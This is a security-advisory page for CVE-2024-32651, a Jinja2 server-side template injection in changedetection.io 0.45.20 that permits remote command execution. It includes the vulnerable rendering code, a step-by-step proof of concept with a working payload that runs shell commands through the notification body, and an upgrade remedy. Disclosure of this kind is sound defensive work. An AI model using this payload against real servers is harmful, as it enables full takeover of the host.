A AegiFlow
CRITICALCVSS 10.0EPSS 83.6%

CVE-2024-32651

changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution

Published
2024-10-15
Modified
2026-10-27
EPSS percentile
100%
Aliases
GHSA-4r7v-whpg-8rx3
Sources
github-advisory

Summary

### Summary A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. ### Details changedetection.io version: 0.45.20 ``` docker images REPOSITORY TAG IMAGE ID CREATED SIZE dgtlmoon/changedetection.io latest 53529c2e69f1 44 hours ago 423MB ``` The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine. ```python from jinja2 import Environment, BaseLoader ... # Get the notification body from datastore jinja2_env = Environment(loader=BaseLoader) n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters) n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters) ``` ### PoC 1. Create/Edit a URL watch item 2. Under *Notifications* tab insert this payload: ```python {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} ``` ![Screenshot from 2024-04-19 15-46-04](https://github.com/dgtlmoon/changedetection.io/assets/35783570/b6a5779f-fd1e-4708-9b2d-21cb97f0bb4f) 3. See Telegram (or other supported messaging app) notification ![Screenshot from 2024-04-19 16-02-12](https://github.com/dgtlmoon/changedetection.io/assets/35783570/20877919-d6fe-49f1-bbd2-586e900207f1) ### Impact In the PoC I've used `id` as payload and Telegram to read the result. Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell). The impact is critical as the attacker can completely takeover the server host. This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced). ### References - https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti - https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/ - https://docs.cobalt.io/bestpractices/prevent-ssti/ ### Credits Edoardo Ottavianelli

Affected packages

EcosystemPackageAffected versionsFixed versions
PyPIchangedetection.io—0.45.21

Remediation: Upgrade to 0.45.21 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

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EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.